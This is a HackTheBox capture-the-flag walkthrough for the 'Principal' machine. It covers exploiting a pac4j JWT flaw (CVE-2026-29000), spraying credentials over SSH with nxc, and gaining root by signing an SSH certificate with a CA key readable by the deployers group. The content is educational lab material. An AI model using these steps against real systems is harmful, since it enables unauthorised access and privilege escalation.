Principal writeup & walkthrough

Principal is a medium HackTheBox Linux machine exploiting a pac4j JWT vulnerability (CVE-2026-29000) to forge admin tokens and achieve remote code execution.

HackTheBox - Principal

Access Path

no access => user => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Enumeration:

# Through web we see pac4j v1 2.0
# Through nmap we see pac4j-jwt/6.0.3

Source Code Analysis:

# We check source code and see
<script src="/static/js/app.js"></script>

# We check it and see the
const JWKS_ENDPOINT = '/api/auth/jwks';

Vulnerability Identification

CVE Research:

# Googling pac4j v1 2.0 exploit or pac4j-jwt/6.0.3 exploit
# Found: CVE-2026-29000

References:

• https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key
• Exploit: https://github.com/strikoder/CVE-2026-29000-pac4j-jwt

Exploitation

Extract Credentials:

# We see encryption key (the pass) and users
# We test through nxc and we get ssh access
nxc ssh $IP -u users.txt -p passwords.txt

SSH Access:

ssh user@$IP

Privilege Escalation (user → root)

Group Enumeration:

# Check user groups
id
# Found: group = deployers

# Find files owned by deployers group
find / -group deployers 2>/dev/null

# We see ssh ca

SSH Certificate Authority Exploitation:

# We copy it to our device and we generate ssh keys
ssh-keygen -t ed25519 -f ssh_root

# Set proper permissions on CA
chmod 600 ca

# Then we use the certificate to auth as any user we want
ssh-keygen -s ca -I strilabel -n root ssh_root

# SSH as root using signed certificate
ssh -i ssh_root -i ssh_root-cert.pub root@$IP